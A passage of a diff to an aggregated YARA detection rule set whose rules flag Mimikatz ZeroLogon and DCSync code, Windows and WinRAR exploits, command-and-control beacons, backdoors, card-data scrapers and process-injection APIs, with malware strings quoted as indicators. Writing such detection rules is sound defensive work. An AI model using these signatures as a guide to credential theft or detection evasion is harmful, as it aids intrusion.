"https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_zerologon.yar#L1-L19" + license_url = "N/A" + logic_hash = "5b8d618e8e680acd4e5a9def4e3b56617080dec0c5787c3d6f948489346a6888" + score = 50 quality = 75 tags = "FILE" strings: - $s1 = "RtlGetVersion" - $s2 = {45 33 C9 BA 03 80 00 00 33 C9} - $s3 = "SploitWnd" - $s4 = "CreateWindowExW" - $s5 = "GetKeyboardState" - $s6 = "SetKeyboardState" - $s7 = "SetWindowLongPtrW" - $s9 = "SetClassLongPtrW" - $s10 = "DestroyWindow" - $s11 = "CreateProcess" - $s12 = {4C 8B D1 8B 05 ?? ?? ?? 00 0F 05 C3} - $s13 = {80 10 00 00 09 10} - $s14 = "NtUserMessageCall" - $s15 = "HMValidateHandle" - $s16 = "IsMenu" + $rch1 = "NetrServerReqChallenge" + $rch2 = "NetrServerReqChallenge" wide + $auth1 = "NetrServerAuthenticate2" + $auth2 = "NetrServerAuthenticate2" wide + $pwd1 = "NetrServerPasswordSet2" + $pwd2 = "NetrServerPasswordSet2" wide + $rpc1 = {78 56 34 12 34 12 CD AB EF 00 01 23 45 67 CF FB} + $rpc2 = {00 00 12 08 25 5C 11 08 25 5C 11 00 08 00 1D 00 08 00 02 5B 15 00 08 00 4C 00 F4 FF 5C 5B 11 04 F4 FF 11 08 08 5C 11 00 02 00 15 03 0C 00 4C 00 E4 FF 08 5B 11 04 F4 FF 11 00 08 00 1D 01 00 02 05 5B 15 03 04 02 4C 00 F4 FF 08 5B 11 04 0C 00 1D 00 10 00 4C 00 BE FF 5C 5B 15 00 10 00 4C 00 F0 FF 5C 5B 00} + $rpc3 = {00 48 00 00 00 00 04 00 28 00 31 08 00 00 00 5C 3C 00 44 00 46 05 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 0A 01 10 00 14 00 12 21 18 00 14 00 70 00 20 00 08 00 00 48 00 00 00 00 0F 00 40 00 31 08 00 00 00 5C 5E 00 60 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 14 00 12 21 28 00 14 00 58 01 30 00 08 00 70 00 38 00 08 00 00 48 00 00 00 00 1E 00 40 00 31 08 00 00 00 5C 8E 02 58 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 0A 01 30 00 42 00 70 00 38 00 08 00 00 48 00 00 00 00 2A 00 48 00 31 08 00 00 00 5C 56 00 40 01 46 09 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 12 41 30 00 5A 00 12 41 38 00 5A 00 70 00 40 00 08 00 00 00} condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5a4d and ( 1 of ( $rch* ) and 1 of ( $auth* ) and 1 of ( $pwd* ) ) and 2 of ( $rpc* ) } +rule SBOUSSEADEN_Hunt_Susp_Vhd : FILE +{ + meta: + description = "Virtual hard disk file with embedded PE" + author = "SBousseaden" + id = "14b082b2-c5cd-5f34-85e9-5987650eaacd" + date = "2020-07-13" + modified = "2020-07-13" + reference = "https://github.com/sbousseaden/YaraHunts/" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_vhd.yara#L1-L12" + license_url = "N/A" + logic_hash = "4ba2e3f533942b27c1d235be4677afdac774b558429c414043a8e3a609123ad3" + score = 65 + quality = 73 + tags = "FILE" -rule SBOUSSEADEN_Gosliver + strings: + $hvhd = {636F6E6563746978} + $s1 = {4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00} + $s2 = "!This program cannot be run in DOS mode." base64 + $s3 = "!This program cannot be run in DOS mode." xor + + condition: + $hvhd at 0 and any of ( $s* ) and filesize <= 10MB +} + +rule SBOUSSEADEN_Susp_Winsvc_Upx : FILE { meta: - description = "No description has been set in the source file - SBousseaden" + description = "broad hunt for any PE exporting ServiceMain API and upx packed" author = "SBousseaden" - id = "eba5043a-ca4d-5c5d-a895-51218b03e59e" - date = "2020-10-11" - modified = "2020-10-11" - reference = "https://github.com/BishopFox/sliver" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_sliver_go_framwwork.yara#L2-L9" + id = "883691fe-3858-5177-97ca-122ff2ec54af" + date = "2019-01-28" + modified = "2020-06-05" + reference = "https://github.com/sbousseaden/YaraHunts/" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/susp_winsvc_upx.yara#L3-L13" license_url = "N/A" - logic_hash = "8dc96e533adc29c78a998d9f064ff294d2ef8a4ff00cef8b0c81ef465ef70b08" - score = 75 + logic_hash = "85b1932eaab4e559f0805aa76ad9b58553708391b3ac894a8e4f1cf34470dcb7" + score = 65 quality = 75 - tags = "" + tags = "FILE" strings: - $go = "_cgo_" + $upx1 = {55505830000000} + $upx2 = {55505831000000} + $upx_sig = "UPX!" condition: - #go> 10 and pe.exports ( "RunSliver" ) + uint16( 0 ) == 0x5a4d and $upx1 in ( 0 .. 1024 ) and $upx2 in ( 0 .. 1024 ) and $upx_sig in ( 0 .. 1024 ) and pe.exports ( "ServiceMain" ) } rule SBOUSSEADEN_APT_Solarwind_Backdoor_Encoded_Strings : FILE { @@ -175432,60 +175205,65 @@ rule SBOUSSEADEN_APT_Solarwind_Backdoor_Encoded_Strings : FILE condition: uint16( 0 ) == 0x5a4d and $sw and ( 2 of ( $pat* ) or 2 of ( $priv* ) or all of ( $disc* ) or 2 of ( $wmi* ) or all of ( $key* ) ) } -rule SBOUSSEADEN_Zerlologon_Mimikatz : FILE +rule SBOUSSEADEN_Cve_2019_1458 : FILE { meta: - description = "Generic Hunting rule for Mimikatz Implementation of ZeroLogon PrivEsc Exploit" + description = "No description has been set in the source file - SBousseaden" author = "SBousseaden" - id = "0fd32f14-d82d-5af4-b4a2-b21e2325ade8" - date = "2020-09-17" - modified = "2020-09-17" - reference = "https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_zerologon.yar#L1-L19" + id = "7bcbfccb-2db0-5438-9ed1-eee4c92710b6" + date = "2020-10-22" + modified = "2020-10-23" + reference = "https://github.com/unamer/CVE-2019-1458" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_cve_2019_1458.yara#L1-L22" license_url = "N/A" - logic_hash = "5b8d618e8e680acd4e5a9def4e3b56617080dec0c5787c3d6f948489346a6888" - score = 50 + logic_hash = "8c5eac6b9fb9f87e0ffb219f0af8f83475799e062ed339da7a0525180292f5f2" + score = 75 quality = 75 tags = "FILE" strings: - $rch1 = "NetrServerReqChallenge" - $rch2 = "NetrServerReqChallenge" wide - $auth1 = "NetrServerAuthenticate2" - $auth2 = "NetrServerAuthenticate2" wide - $pwd1 = "NetrServerPasswordSet2" - $pwd2 = "NetrServerPasswordSet2" wide - $rpc1 = {78 56 34 12 34 12 CD AB EF 00 01 23 45 67 CF FB} - $rpc2 = {00 00 12 08 25 5C 11 08 25 5C 11 00 08 00 1D 00 08 00 02 5B 15 00 08 00 4C 00 F4 FF 5C 5B 11 04 F4 FF 11 08 08 5C 11 00 02 00 15 03 0C 00 4C 00 E4 FF 08 5B 11 04 F4 FF 11 00 08 00 1D 01 00 02 05 5B 15 03 04 02 4C 00 F4 FF 08 5B 11 04 0C 00 1D 00 10 00 4C 00 BE FF 5C 5B 15 00 10 00 4C 00 F0 FF 5C 5B 00} - $rpc3 = {00 48 00 00 00 00 04 00 28 00 31 08 00 00 00 5C 3C 00 44 00 46 05 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 0A 01 10 00 14 00 12 21 18 00 14 00 70 00 20 00 08 00 00 48 00 00 00 00 0F 00 40 00 31 08 00 00 00 5C 5E 00 60 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 14 00 12 21 28 00 14 00 58 01 30 00 08 00 70 00 38 00 08 00 00 48 00 00 00 00 1E 00 40 00 31 08 00 00 00 5C 8E 02 58 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 0A 01 30 00 42 00 70 00 38 00 08 00 00 48 00 00 00 00 2A 00 48 00 31 08 00 00 00 5C 56 00 40 01 46 09 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 12 41 30 00 5A 00 12 41 38 00 5A 00 70 00 40 00 08 00 00 00} + $s1 = "RtlGetVersion" + $s2 = {45 33 C9 BA 03 80 00 00 33 C9} + $s3 = "SploitWnd" + $s4 = "CreateWindowExW" + $s5 = "GetKeyboardState" + $s6 = "SetKeyboardState" + $s7 = "SetWindowLongPtrW" + $s9 = "SetClassLongPtrW" + $s10 = "DestroyWindow" + $s11 = "CreateProcess" + $s12 = {4C 8B D1 8B 05 ?? ?? ?? 00 0F 05 C3} + $s13 = {80 10 00 00 09 10} + $s14 = "NtUserMessageCall" + $s15 = "HMValidateHandle" + $s16 = "IsMenu" condition: - uint16( 0 ) == 0x5a4d and ( 1 of ( $rch* ) and 1 of ( $auth* ) and 1 of ( $pwd* ) ) and 2 of ( $rpc* ) + uint16( 0 ) == 0x5a4d and all of them } -rule SBOUSSEADEN_Infinityhook : FILE +rule SBOUSSEADEN_APT_Xdsspy_Xdupload : FILE { meta: - description = "Infinityhook is a legit research PoC to hook NT Syscalls bypassing PatchGuard" + description = "No description has been set in the source file - SBousseaden" author = "SBousseaden" - id = "82f4eef2-fca7-58b1-a85c-3c237f523740" - date = "2020-09-07" - modified = "2020-07-10" - reference = "https://github.com/everdox/InfinityHook" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/infinityhook.yara#L1-L17" + id = "ae38d017-6420-596c-af29-62f15cfe56b8" + date = "2020-05-10" + modified = "2020-10-05" + reference = "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_xdspy_xdupload.yara#L1-L11" license_url = "N/A" - logic_hash = "c621ce3be8049de7584af73ca4472df5561d3c4ac8b458937db2ad68fdcbe2d8" + logic_hash = "648ea81d1b44d8514439683cf2f86a8027f9e1eb64abf76d42347fc2ce9c4e68" score = 75 - quality = 73 + quality = 75 tags = "FILE" strings: - $EtwpDebuggerPattern = {00 2C 08 04 38 0C 00} - $SMV = {00 00 76 66 81 3A 02 18 50 00 75 0E 48 83 EA 08 B8 33 0F 00} - $KVASCODE = {4B 56 41 53 43 4F 44 45} - $CKL = "Circular Kernel Context Logger" wide nocase + $s1 = "cmd.exe /u /c cd /d \"%s\" & dir /a /-c" wide + $s2 = "commandC_dll.dll" + $s3 = "cmd.exe /u /c del" wide condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5a4d and 2 of ( $s* ) } rule SBOUSSEADEN_Hunt_Common_Credit_Card_Memscrapper : FILE { @@ -175525,63 +175303,232 @@ rule SBOUSSEADEN_Hunt_Common_Credit_Card_Memscrapper : FILE $cc16 = "^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$" condition: - uint16( 0 ) == 0x5a4d and 1 of ( $cc* ) and all of ( $api* ) + uint16( 0 ) == 0x5a4d and 1 of ( $cc* ) and all of ( $api* ) +} + +rule SBOUSSEADEN_Shad0W_Beacon : FILE +{ + meta: + description = "Shad0w beacon default suspicous strings" + author = "SBousseaden" + id = "e725172d-dd07-5027-ac85-86d366881856" + date = "2020-06-04" + modified = "2020-06-05" + reference = "https://github.com/bats3c/shad0w" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w.yara#L3-L15" + license_url = "N/A" + logic_hash = "9ea7cf72da0d93f607f58b61cc0fb5f3f114d4454101c69b08c59e6b61353550" + score = 75 + quality = 73 + tags = "FILE" + + strings: + $s1 = "LdrLoadD" + $s2 = {53 65 74 50 72 2A 65 73 73 4D} + $s3 = "Policy" + + condition: + uint16( 0 ) == 0x5a4d and all of ( $s* ) and pe.sections [ 0 ] . name == "XPU0" and pe.imports ( "winhttp.dll" , "WinHttpOpen" ) +} +rule SBOUSSEADEN_Hunt_Evtmutehook_Memory +{ + meta: + description = "memory hunt for default wevtsv EtwEventCallback hook pattern to apply to eventlog svchost memory dump" + author = "SBousseaden" + id = "5326581e-90d9-59b9-8dc5-74df97571600" + date = "2020-09-05" + modified = "2020-09-05" + reference = "https://blog.dylan.codes/pwning-windows-event-logging/" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_memory_evtmutehook.yara#L1-L11" + license_url = "N/A" + logic_hash = "3db66069ed67d90031a6fe071dad4d0200ddd661b263dd2860df026673031e48" + score = 50 + quality = 75 + tags = "" + + strings: + $a = {49 BB ?? ?? ?? ?? ?? ?? ?? ?? 41 FF E3 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3} + $b = {48 83 EC 38 4C 8B 0D 65 CB 1A 00 48 8D 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3} + + condition: + $a and not $b +} +rule SBOUSSEADEN_Hunt_Slub_Backdoor : FILE +{ + meta: + description = "No description has been set in the source file - SBousseaden" + author = "SBousseaden" + id = "c15d5f14-d17f-528b-bf85-e06a5e23518c" + date = "2020-10-22" + modified = "2020-10-22" + reference = "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/APT_SLUB_Backdoor.yara#L1-L22" + license_url = "N/A" + hash = "93bb93d87cedb0a99976c18a37d65f816dc904942a0fb39cc177d49372ed54e5" + hash = "59e4510b7b15011d67eb2f80484589f7211e67756906a87ce466a7bb68f2095b" + hash = "c7788c015244e12e4c8cc69a2b1344d589284c84102c2f1871bbb4f4c32c2936" + hash = "6678a5964db74d477b39bd0a8c18adf02844bed8b112c7bcca6984032918bdfb" + logic_hash = "aa17dcfde1e2227ff04bda708d4c40c1e1f07b404d2c43582632d83c98d65e83" + score = 50 + quality = 73 + tags = "FILE" + + strings: + $s1 = "file_infos" ascii wide + $s2 = "%ws\\%u_cmd_out.tmp" ascii wide + $s3 = "%ws\\%u_cmd_out.zip" ascii wide + $s4 = "[was netstat]" ascii wide + $s5 = {63 3A 5C 77 6F 72 6B 2E 76 63 70 6B 67 5C 69 6E 73 74 61 6C 6C 65 64 5C 78 36 34 2D 77 69 6E 64 6F 77 73 2D 73 74 61 74 69 63 5C} + $s6 = "LoadFileToMemory" ascii wide + $s7 = "setStartupExec" ascii wide + $s8 = "%04u-%02u-%02u %02u:%02u:%02u" ascii wide + $s9 = "goto del_one" ascii wide + $s10 = "goto del_two" ascii wide + + condition: + uint16( 0 ) == 0x5a4d and 3 of them +} +rule SBOUSSEADEN_Mimikatz_Memssp_Hookfn +{ + meta: + description = "hunt for default mimikatz memssp module both ondisk and in memory artifacts" + author = "SBousseaden" + id = "845827b1-acd4-53af-97fb-43a4fe355fbf" + date = "2020-08-26" + modified = "2020-08-26" + reference = "https://github.com/sbousseaden/YaraHunts/" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/mimikatz_memssp_hookfn.yara#L1-L22" + license_url = "N/A" + logic_hash = "f63f3de05dd4f4f40cda6df67b75e37d7baa82c4b4cafd3ebdca35adfb0b15f8" + score = 75 + quality = 75 + tags = "" + + strings: + $s1 = {44 30 00 38 00} + $s2 = {48 78 00 3A 00} + $s3 = {4C 25 00 30 00} + $s4 = {50 38 00 78 00} + $s5 = {54 5D 00 20 00} + $s6 = {58 25 00 77 00} + $s7 = {5C 5A 00 5C 00} + $s8 = {60 25 00 77 00} + $s9 = {64 5A 00 09 00} + $s10 = {6C 5A 00 0A 00} + $s11 = {68 25 00 77 00} + $s12 = {68 25 00 77 00} + $s13 = {6C 5A 00 0A 00} + $B = {6D 69 6D 69 C7 84 24 8C 00 00 00 6C 73 61 2E C7 84 24 90 00 00 00 6C 6F 67} + + condition: + all of ( $s* ) or $B +} + +rule SBOUSSEADEN_Susp_Msoffice_Addins_Wxll : FILE +{ + meta: + description = "hunt for suspicious MS Office Addins with code injection capabilities" + author = "SBousseaden" + id = "39d3b2af-f848-51c0-a13b-13c0fe3a79dd" + date = "2020-11-10" + modified = "2023-03-27" + reference = "https://twitter.com/JohnLaTwC/status/1315287078855352326" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_msoffice_addins_wxll.yara#L3-L29" + license_url = "N/A" + logic_hash = "130a0292b16e934311597d4f91456e6a605477e306a7b1d8171cc4e13794db31" + score = 65 + quality = 75 + tags = "FILE" + + strings: + $inj1 = "WriteProcessMemory" + $inj2 = "NtWriteVirtualMemory" + $inj3 = "RtlMoveMemory" + $inj4 = "VirtualAllocEx" + $inj5 = "NtAllocateVirtualMemory" + $inj6 = "NtUnmapViewOfSection" + $inj7 = "VirtualProtect" + $inj8 = "NtProtectVirtualMemory" + $inj9 = "SetThreadContext" + $inj10 = "NtSetContextThread" + $inj11 = "ResumeThread" + $inj12 = "NtResumeThread" + $inj13 = "QueueUserAPC" + $inj14 = "NtQueueApcThread" + $inj15 = "NtQueueApcThreadEx" + $inj16 = "CreateRemoteThread" + $inj17 = "NtCreateThreadEx" + $inj18 = "RtlCreateUserThread" + + condition: + uint16( 0 ) == 0x5a4d and ( pe.exports ( "wdAutoOpen" ) or pe.exports ( "xlAutoOpen" ) ) and 3 of ( $inj* ) } - -rule SBOUSSEADEN_Shad0W_Beacon : FILE +rule SBOUSSEADEN_Shad0W_Beacon_16June : FILE { meta: - description = "Shad0w beacon default suspicous strings" + description = "Shad0w beacon compressed" author = "SBousseaden" - id = "e725172d-dd07-5027-ac85-86d366881856" - date = "2020-06-04" - modified = "2020-06-05" + id = "1229e84f-bf6e-5e87-9351-a48cd50397b0" + date = "2020-06-16" + modified = "2020-06-17" reference = "https://github.com/bats3c/shad0w" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w.yara#L3-L15" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_beacon_16June.yara#L1-L13" license_url = "N/A" - logic_hash = "9ea7cf72da0d93f607f58b61cc0fb5f3f114d4454101c69b08c59e6b61353550" + logic_hash = "c313e995d6eaae6d2ee63964f6fc94964065af7a61d7f304280d914e6f0dd548" score = 75 - quality = 73 + quality = 75 tags = "FILE" strings: - $s1 = "LdrLoadD" - $s2 = {53 65 74 50 72 2A 65 73 73 4D} - $s3 = "Policy" + $s1 = {F2 AE ?? ?? ?? FF 15 ?? ?? 00 00 48 09 C0 74 09} + $s2 = {33 2E 39 36 00 ?? ?? ?? 21 0D 24 0E 0A} + $s3 = "VirtualProtect" + $s4 = "GetProcAddress" condition: - uint16( 0 ) == 0x5a4d and all of ( $s* ) and pe.sections [ 0 ] . name == "XPU0" and pe.imports ( "winhttp.dll" , "WinHttpOpen" ) + uint16( 0 ) == 0x5a4d and all of ( $s* ) } -rule SBOUSSEADEN_Hunt_Susp_Vhd : FILE +rule SBOUSSEADEN_Dcsync_Mimikatz : FILE { meta: - description = "Virtual hard disk file with embedded PE" + description = "Hunting rule for Mimikatz Implementation of DCSync Attack" author = "SBousseaden" - id = "14b082b2-c5cd-5f34-85e9-5987650eaacd" - date = "2020-07-13" - modified = "2020-07-13" - reference = "https://github.com/sbousseaden/YaraHunts/" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_vhd.yara#L1-L12" + id = "2d5d5fdb-8a84-5e88-b136-4e3e788c46cd" + date = "2020-09-22" + modified = "2020-09-22" + reference = "https://github.com/gentilkiwi/mimikatz" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_dcsync.yara#L1-L24" license_url = "N/A" - logic_hash = "4ba2e3f533942b27c1d235be4677afdac774b558429c414043a8e3a609123ad3" - score = 65 - quality = 73 + logic_hash = "436979d794b7b599f2186252c7f233f091100880c2d39008d8bd7f839553fb53" + score = 50 + quality = 75 tags = "FILE" strings: - $hvhd = {636F6E6563746978} - $s1 = {4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00} - $s2 = "!This program cannot be run in DOS mode." base64 - $s3 = "!This program cannot be run in DOS mode." xor + $DRS1 = "DRSGetNCChanges" + $DRS2 = "DRSReplicaAdd" + $DRS3 = "DRSAddEntry" + $DRSW1 = "DRSGetNCChanges" wide + $DRSW2 = "DRSReplicaAdd" wide + $DRSW3 = "DRSAddEntry" wide + $rpc1 = {35 42 51 E3 06 4B D1 11 AB 04 00 C0 4F C2 DC D2 04 00 00 00 04 5D 88 8A EB 1C C9 11 9F E8 08 00 2B 10 48 60 02} + $rpc2 = {34 05 50 21 18 00 08 00 13 81 20 00 8A 05 70 00 28} + $rpc3 = {0B 01 10 00 DC 05 50 21 18 00 08 00 13 21 20 00 2E 06 70 00 28} + $rpc4 = {48 06 50 21 18 00 08 00 13 41 20 00 72 06 70 00 28} + $rpc5 = {78 03 0B 00 10 00 7C 03 13 20 18 00 A4 03 10 01 20 00 AC 03 70 00 28} + $rpc6 = {C0 03 50 21 18 00 08 00 13 01 20 00 74 04 70 00 28} + $rpc7 = {8C 06 50 21 18 00 08 00 13 A1 20 00 C6 06 70 00 28} + $def1 = "mimikatz" + $def2 = "mimikatz" wide condition: - $hvhd at 0 and any of ( $s* ) and filesize <= 10MB + uint16( 0 ) == 0x5a4d and ( all of ( $DRS* ) or all of ( $DRSW* ) ) and all of ( $rpc* ) and not ( any of ( $def* ) ) } /* * YARA Rule Set * Repository Name: Elceef * Repository: https://github.com/elceef/yara-rulz - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 791721372091836f5bf477d7f21114f45a310052 * Number of Rules: 19 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -175612,88 +175559,234 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ -rule ELCEEF_HTA_Wscriptshell_Onenote : FILE +rule ELCEEF_Winrar_CVE_2023_38831_Exploit : CVE_2023_38831 FILE { meta: - description = "Detects suspicious OneNote documents with embedded HTA + WScript.Shell" + description = "Detects ZIP archives exploiting CVE-2023-38831 in WinRAR" author = "marcin@ulikowski.pl" - id = "8cebd862-8dfb-5f5d-befb-5c41cde945ff" - date = "2023-02-01" - modified = "2023-02-02" - reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/HTA_OneNote.yara#L1-L17" + id = "7d592eb7-b344-59ed-adf8-fe69ebb1e43f" + date = "2023-09-23" + modified = "2023-09-28" + reference = "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/WinRAR_CVE_2023_38831.yara#L1-L17" license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "0287ac5d618c9a8332d167f1a05157aa829c7e8a052c35100fcaeb644d452e5c" - score = 65 + logic_hash = "06f1d807429fb175831cf333b05b44b6ce33b4ae981e16c03e36ec7564a4fdd1" + score = 75 quality = 75 - tags = "FILE" - hash1 = "002fe00bc429877ee2a786a1d40b80250fd66e341729c5718fc66f759387c88c" + tags = "CVE-2023-38831, FILE" + hash1 = "00175d538cba0c493e397a0b7f4b28f9a90dd0ee40f69795ae28d23ce0d826c0" + hash2 = "ca8ca67df7853b86b6a107c8fd7f73b757de9143ea8844d0e6209249e8377885" strings: - $magic = { ae b1 53 78 d0 29 96 d3 } - $hta = { 00 04 00 00 00 2e 00 68 00 74 00 61 } - $wsh = "CreateObject(\"WScript.Shell\")" + $ = { 50 4b 03 04 [24] 00 00 [3-64] 2e ?? ?? ?? 20 2f [3-64] 2e ?? ?? ?? 20 2e ( 626174 | 636d64 | 707331 ) } condition: - filesize < 5MB and $magic at 8 and $wsh and $hta + uint16be( 0 ) == 0x504b and all of them } -rule ELCEEF_Suspicious_SFX : FILE +rule ELCEEF_OLE2_Autoopen_Reversed_Payload : FILE { meta: - description = "Detects self-extracting archives (SFX) executing cmd.exe or powershell.exe" + description = "Detects suspiciously reversed payloads in OLE2 objects with auto-open macros" author = "marcin@ulikowski.pl" - id = "78f4ae8b-ba17-5c02-a6f0-66bec873aba8" - date = "2023-04-04" + id = "9244fdb7-9949-58a0-9e39-e61e04cc1574" + date = "2021-12-01" modified = "2023-04-04" - reference = "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_SFX.yara#L1-L22" + reference = "https://github.com/elceef/yara-rulz" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/OLE2_Reversed.yara#L1-L20" license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "688ed356e2fa936a0e07a8479591c28fb457053ed94351bad4bf367b02f04b0a" + logic_hash = "425750e77d31ddc356f803ee6e2f192f93f64534a9633fef02da5caaa60dbcaf" score = 65 - quality = 73 + quality = 67 tags = "FILE" strings: - $rar = { 52 61 72 21 } - $zip = { 50 4b 03 04 } - $setup_cmd = "\nSetup=cmd" - $setup_powershell = "\nSetup=powershell" - $silent = "\nSilent=1" + $auto_open = /(auto|document|workbook)_?(open|close)/ wide ascii nocase + $http = /\/\/:s?ptth/ wide ascii + $programdata = /\\ataDmargorP\\\\?:C/ wide ascii nocase + $windows = /\\swodniW\\\\?:C/ wide ascii nocase condition: - filesize < 1MB and uint16be( 0 ) == 0x4d5a and any of ( $zip , $rar ) and any of ( $setup_* ) and $silent + filesize < 1MB and uint32be( 0 ) == 0xd0cf11e0 and $auto_open and any of ( $http , $programdata , $windows ) } -rule ELCEEF_Suspicious_Onenote +rule ELCEEF_Base64_SVG_Javascript { meta: - description = "Detects OneNote documents with FileDataStoreObject structure containing: PE32, shortcut files (*.lnk), encoded JS, Windows Help File (*.chm), or batch script" + description = "Detects base64 encoded SVG objects containing Javascript" author = "marcin@ulikowski.pl" - id = "57f6fc7f-666f-5887-ac97-513588415757" - date = "2023-01-22" - modified = "2023-02-21" + id = "99275772-1f4f-5616-9a9c-f76b613fe143" + date = "2022-10-25" + modified = "2022-12-12" reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_OneNote.yara#L1-L23" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Base64_SVG_Javascript.yara#L1-L16" license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "b65f0976b71c1e827ecce09f0c435d9ffa6a5d3b3a41401efc6a14b6259af4ad" + logic_hash = "e4cb08ccc75dc00b518c4ee1495409ae6bb99e7d493be55312b8d39aa9099cfc" + score = 75 + quality = 75 + tags = "" + hash1 = "fe394a59e961c3fbcc326e7d0ee5909596de55249e669bc4da0aed172c11fda8" + hash2 = "f0c94f2705b1aea17f4a6c6d71c6ed725fe71bf66b03b0117060010859ca8a19" + + strings: + $svg = "\"data:image/svg+xml;base64" wide ascii + $js = "<script type=\"text/javascript\">" base64 + + condition: + all of them +} +rule ELCEEF_BAT_Obfuscated_Setenv +{ + meta: + description = "Detects batch script with obfuscated SET command located directly after @echo off" + author = "marcin@ulikowski.pl" + id = "999d192e-a792-5953-b9e2-de4b298444d3" + date = "2023-05-01" + modified = "2023-05-05" + reference = "https://twitter.com/wdormann/status/1651631372438585344" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L1-L20" + license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" + logic_hash = 